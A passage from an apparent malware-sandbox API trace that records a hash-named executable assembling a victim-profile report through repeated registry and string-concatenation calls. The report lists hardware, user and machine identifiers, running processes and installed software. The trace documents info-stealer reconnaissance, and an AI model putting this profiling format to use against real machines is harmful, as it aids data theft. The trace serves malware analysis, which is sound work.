12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016"
[0054.974] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.974] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 ["
[0054.974] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- 